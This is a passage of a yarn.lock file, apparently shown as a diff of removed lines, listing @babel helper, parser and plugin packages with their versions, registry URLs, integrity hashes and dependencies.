"https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz#9369aa943ee7da47edab2cb4e838acf09d290ffe" - integrity sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-plugin-utils@7.10.4": - version "7.10.4" - resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz#2f75a831269d4f677de49986dff59927533cf375" - integrity sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg== - -"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.13.0", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.18.9", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.18.9.tgz#4b8aea3b069d8cb8a72cdfe28ddf5ceca695ef2f" - integrity sha512-aBXPT3bmtLryXaoJLyYPXPlSD4p1ld9aYeR+sJNOZjJJGiOpb+fKfh3NkcCu7J54nUJwCERPBExCCpyCOHnu/w== - -"@babel/helper-plugin-utils@^7.16.7", "@babel/helper-plugin-utils@^7.19.0", "@babel/helper-plugin-utils@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz#d1b9000752b18d0877cff85a5c376ce5c3121629" - integrity sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ== - -"@babel/helper-remap-async-to-generator@^7.18.6", "@babel/helper-remap-async-to-generator@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz#997458a0e3357080e54e1d79ec347f8a8cd28519" - integrity sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-wrap-function" "^7.18.9" - "@babel/types" "^7.18.9" - -"@babel/helper-replace-supers@^7.18.6", "@babel/helper-replace-supers@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.18.9.tgz#1092e002feca980fbbb0bd4d51b74a65c6a500e6" - integrity sha512-dNsWibVI4lNT6HiuOIBr1oyxo40HvIVmbwPUm3XZ7wMh4k2WxrxTqZwSqw/eEmXDS9np0ey5M2bz9tBmO9c+YQ== - dependencies: - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-member-expression-to-functions" "^7.18.9" - "@babel/helper-optimise-call-expression" "^7.18.6" - "@babel/traverse" "^7.18.9" - "@babel/types" "^7.18.9" - -"@babel/helper-replace-supers@^7.19.1": - version "7.19.1" - resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.19.1.tgz#e1592a9b4b368aa6bdb8784a711e0bcbf0612b78" - integrity sha512-T7ahH7wV0Hfs46SFh5Jz3s0B6+o8g3c+7TMxu7xKfmHikg7EAZ3I2Qk9LFhjxXq8sL7UkP5JflezNwoZa8WvWw== - dependencies: - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-member-expression-to-functions" "^7.18.9" - "@babel/helper-optimise-call-expression" "^7.18.6" - "@babel/traverse" "^7.19.1" - "@babel/types" "^7.19.0" - -"@babel/helper-simple-access@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz#d6d8f51f4ac2978068df934b569f08f29788c7ea" - integrity sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-simple-access@^7.19.4", "@babel/helper-simple-access@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz#0ab452687fe0c2cfb1e2b9e0015de07fc2d62dd9" - integrity sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA== - dependencies: - "@babel/types" "^7.20.2" - -"@babel/helper-skip-transparent-expression-wrappers@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz#778d87b3a758d90b471e7b9918f34a9a02eb5818" - integrity sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw== - dependencies: - "@babel/types" "^7.18.9" - -"@babel/helper-split-export-declaration@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz#7367949bc75b20c6d5a5d4a97bba2824ae8ef075" - integrity sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-split-export-declaration@^7.22.6": - version "7.22.6" - resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz#322c61b7310c0997fe4c323955667f18fcefb91c" - integrity sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g== - dependencies: - "@babel/types" "^7.22.5" - -"@babel/helper-string-parser@^7.19.4": - version "7.19.4" - resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz#38d3acb654b4701a9b77fb0615a96f775c3a9e63" - integrity sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw== - -"@babel/helper-string-parser@^7.22.5": - version "7.22.5" - resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz#533f36457a25814cf1df6488523ad547d784a99f" - integrity sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw== - -"@babel/helper-validator-identifier@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz#9c97e30d31b2b8c72a1d08984f2ca9b574d7a076" - integrity sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g== - -"@babel/helper-validator-identifier@^7.19.1": - version "7.19.1" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz#7eea834cf32901ffdc1a7ee555e2f9c27e249ca2" - integrity sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w== - -"@babel/helper-validator-identifier@^7.22.20": - version "7.22.20" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz#c4ae002c61d2879e724581d96665583dbc1dc0e0" - integrity sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A== - -"@babel/helper-validator-option@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz#bf0d2b5a509b1f336099e4ff36e1a63aa5db4db8" - integrity sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw== - -"@babel/helper-wrap-function@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.18.9.tgz#ae1feddc6ebbaa2fd79346b77821c3bd73a39646" - integrity sha512-cG2ru3TRAL6a60tfQflpEfs4ldiPwF6YW3zfJiRgmoFVIaC1vGnBBgatfec+ZUziPHkHSaXAuEck3Cdkf3eRpQ== - dependencies: - "@babel/helper-function-name" "^7.18.9" - "@babel/template" "^7.18.6" - "@babel/traverse" "^7.18.9" - "@babel/types" "^7.18.9" - -"@babel/helpers@^7.12.5", "@babel/helpers@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.18.9.tgz#4bef3b893f253a1eced04516824ede94dcfe7ff9" - integrity sha512-Jf5a+rbrLoR4eNdUmnFu8cN5eNJT6qdTdOg5IHIzq87WwyRw9PwguLFOWYgktN/60IP4fgDUawJvs7PjQIzELQ== - dependencies: - "@babel/template" "^7.18.6" - "@babel/traverse" "^7.18.9" - "@babel/types" "^7.18.9" - -"@babel/helpers@^7.20.1": - version "7.20.1" - resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.20.1.tgz#2ab7a0fcb0a03b5bf76629196ed63c2d7311f4c9" - integrity sha512-J77mUVaDTUJFZ5BpP6mMn6OIl3rEWymk2ZxDBQJUG3P+PbmyMcF3bYWvz0ma69Af1oobDqT/iAsvzhB58xhQUg== - dependencies: - "@babel/template" "^7.18.10" - "@babel/traverse" "^7.20.1" - "@babel/types" "^7.20.0" - -"@babel/highlight@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.18.6.tgz#81158601e93e2563795adcbfbdf5d64be3f2ecdf" - integrity sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g== - dependencies: - "@babel/helper-validator-identifier" "^7.18.6" - chalk "^2.0.0" - js-tokens "^4.0.0" - -"@babel/highlight@^7.22.13": - version "7.22.20" - resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.22.20.tgz#4ca92b71d80554b01427815e06f2df965b9c1f54" - integrity sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg== - dependencies: - "@babel/helper-validator-identifier" "^7.22.20" - chalk "^2.4.2" - js-tokens "^4.0.0" - -"@babel/parser@^7.12.7", "@babel/parser@^7.18.6", "@babel/parser@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.18.9.tgz#f2dde0c682ccc264a9a8595efd030a5cc8fd2539" - integrity sha512-9uJveS9eY9DJ0t64YbIBZICtJy8a5QrDEVdiLCG97fVLpDTpGX7t8mMSb6OWw6Lrnjqj4O8zwjELX3dhoMgiBg== - -"@babel/parser@^7.18.10", "@babel/parser@^7.18.8", "@babel/parser@^7.20.2": - version "7.20.3" - resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.20.3.tgz#5358cf62e380cf69efcb87a7bb922ff88bfac6e2" - integrity sha512-OP/s5a94frIPXwjzEcv5S/tpQfc6XhxYUnmWpgdqMWGgYCuErA3SzozaRAMQgSZWKeTJxht9aWAkUY+0UzvOFg== - -"@babel/parser@^7.22.15", "@babel/parser@^7.23.0": - version "7.23.0" - resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.23.0.tgz#da950e622420bf96ca0d0f2909cdddac3acd8719" - integrity sha512-vvPKKdMemU85V9WE/l5wZEmImpCtLqbnTvqDS2U1fJ96KrxoW7KrXhNsNCblQlg8Ck4b85yxdTyelsMUgFUXiw== - -"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz#da5b8f9a580acdfbe53494dba45ea389fb09a4d2" - integrity sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz#a11af19aa373d68d561f08e0a57242350ed0ec50" - integrity sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-skip-transparent-expression-wrappers" "^7.18.9" - "@babel/plugin-proposal-optional-chaining" "^7.18.9" - -"@babel/plugin-proposal-async-generator-functions@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.18.6.tgz#aedac81e6fc12bb643374656dd5f2605bf743d17" - integrity sha512-WAz4R9bvozx4qwf74M+sfqPMKfSqwM0phxPTR6iJIi8robgzXwkEgmeJG1gEKhm6sDqT/U9aV3lfcqybIpev8w== - dependencies: - "@babel/helper-environment-visitor" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-remap-async-to-generator" "^7.18.6" - "@babel/plugin-syntax-async-generators" "^7.8.4" - -"@babel/plugin-proposal-async-generator-functions@^7.20.1": - version "7.20.1" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.1.tgz#352f02baa5d69f4e7529bdac39aaa02d41146af9" - integrity sha512-Gh5rchzSwE4kC+o/6T8waD0WHEQIsDmjltY8WnWRXHUdH8axZhuH86Ov9M72YhJfDrZseQwuuWaaIT/TmePp3g== - dependencies: - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-plugin-utils" "^7.19.0" - "@babel/helper-remap-async-to-generator" "^7.18.9" - "@babel/plugin-syntax-async-generators" "^7.8.4" - -"@babel/plugin-proposal-class-properties@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz#b110f59741895f7ec21a6fff696ec46265c446a3" - integrity sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ== - dependencies: - "@babel/helper-create-class-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-proposal-class-static-block@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz#8aa81d403ab72d3962fc06c26e222dacfc9b9020" - integrity sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw== - dependencies: - "@babel/helper-create-class-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-class-static-block" "^7.14.5" - -"@babel/plugin-proposal-dynamic-import@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz#72bcf8d408799f547d759298c3c27c7e7faa4d94" - integrity sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-dynamic-import" "^7.8.3" - -"@babel/plugin-proposal-export-namespace-from@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz#5f7313ab348cdb19d590145f9247540e94761203" - integrity sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/plugin-syntax-export-namespace-from" "^7.8.3" - -"@babel/plugin-proposal-json-strings@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz#7e8788c1811c393aff762817e7dbf1ebd0c05f0b" - integrity sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-json-strings" "^7.8.3" - -"@babel/plugin-proposal-logical-assignment-operators@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz#8148cbb350483bf6220af06fa6db3690e14b2e23" - integrity sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" - -"@babel/plugin-proposal-nullish-coalescing-operator@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz#fdd940a99a740e577d6c753ab6fbb43fdb9467e1" - integrity sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3" - -"@babel/plugin-proposal-numeric-separator@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz#899b14fbafe87f053d2c5ff05b36029c62e13c75" - integrity sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-numeric-separator" "^7.10.4" - -"@babel/plugin-proposal-object-rest-spread@7.12.1": - version "7.12.1" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.12.1.tgz#def9bd03cea0f9b72283dac0ec22d289c7691069" - integrity sha512-s6SowJIjzlhx8o7lsFx5zmY4At6CTtDvgNQDdPzkBQucle58A6b/TTeEBYtyDgmcXjUTM+vE8YOGHZzzbc/ioA== - dependencies: - "@babel/helper-plugin-utils" "^7.10.4" - "@babel/plugin-syntax-object-rest-spread" "^7.8.0" - "@babel/plugin-transform-parameters" "^7.12.1" - -"@babel/plugin-proposal-object-rest-spread@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz#f9434f6beb2c8cae9dfcf97d2a5941bbbf9ad4e7" - integrity sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q== - dependencies: - "@babel/compat-data" "^7.18.8" - "@babel/helper-compilation-targets" "^7.18.9" - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/plugin-syntax-object-rest-spread" "^7.8.3" - "@babel/plugin-transform-parameters" "^7.18.8" - -"@babel/plugin-proposal-object-rest-spread@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.2.tgz#a556f59d555f06961df1e572bb5eca864c84022d" - integrity sha512-Ks6uej9WFK+fvIMesSqbAto5dD8Dz4VuuFvGJFKgIGSkJuRGcrwGECPA1fDgQK3/DbExBJpEkTeYeB8geIFCSQ== - dependencies: - "@babel/compat-data" "^7.20.1" - "@babel/helper-compilation-targets" "^7.20.0" - "@babel/helper-plugin-utils" "^7.20.2" - "@babel/plugin-syntax-object-rest-spread" "^7.8.3" - "@babel/plugin-transform-parameters" "^7.20.1" - -"@babel/plugin-proposal-optional-catch-binding@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz#f9400d0e6a3ea93ba9ef70b09e72dd6da638a2cb" - integrity sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-optional-catch-binding" "^7.8.3" - -"@babel/plugin-proposal-optional-chaining@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz#e8e8fe0723f2563960e4bf5e9690933691915993" - integrity sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-skip-transparent-expression-wrappers" "^7.18.9" - "@babel/plugin-syntax-optional-chaining" "^7.8.3" - -"@babel/plugin-proposal-private-methods@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz#5209de7d213457548a98436fa2882f52f4be6bea" - integrity sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA== - dependencies: - "@babel/helper-create-class-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-proposal-private-property-in-object@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz#a64137b232f0aca3733a67eb1a144c192389c503" - integrity sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-create-class-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-private-property-in-object" "^7.14.5" - -"@babel/plugin-proposal-unicode-property-regex@^7.18.6", "@babel/plugin-proposal-unicode-property-regex@^7.4.4": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz#af613d2cd5e643643b65cded64207b15c85cb78e" - integrity sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w== - dependencies: - "@babel/helper-create-regexp-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-syntax-async-generators@^7.8.4": - version "7.8.4" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d" - integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-class-properties@^7.12.13": - version "7.12.13" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10" - integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA== - dependencies: - "@babel/helper-plugin-utils" "^7.12.13" - -"@babel/plugin-syntax-class-static-block@^7.14.5": - version "7.14.5" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406" - integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw== - dependencies: - "@babel/helper-plugin-utils" "^7.14.5" - -"@babel/plugin-syntax-dynamic-import@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3" - integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-export-namespace-from@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a" - integrity sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q== - dependencies: - "@babel/helper-plugin-utils" "^7.8.3" - -"@babel/plugin-syntax-import-assertions@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz#cd6190500a4fa2fe31990a963ffab4b63e4505e4" - integrity sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-syntax-import-assertions@^7.20.0": - version "7.20.0" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.20.0.tgz#bb50e0d4bea0957235390641209394e87bdb9cc4" - integrity sha512-IUh1vakzNoWalR8ch/areW7qFopR2AEw03JlG7BbrDqmQ4X3q9uuipQwSGrUn7oGiemKjtSLDhNtQHzMHr1JdQ== - dependencies: - "@babel/helper-plugin-utils" "^7.19.0" - -"@babel/plugin-syntax-json-strings@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a" - integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-jsx@7.12.1": - version "7.12.1" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz#9d9d357cc818aa7ae7935917c1257f67677a0926" - integrity sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg== - dependencies: - "@babel/helper-plugin-utils" "^7.10.4" - -"@babel/plugin-syntax-jsx@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz#a8feef63b010150abd97f1649ec296e849943ca0" - integrity sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-syntax-logical-assignment-operators@^7.10.4": - version "7.10.4" - resolved 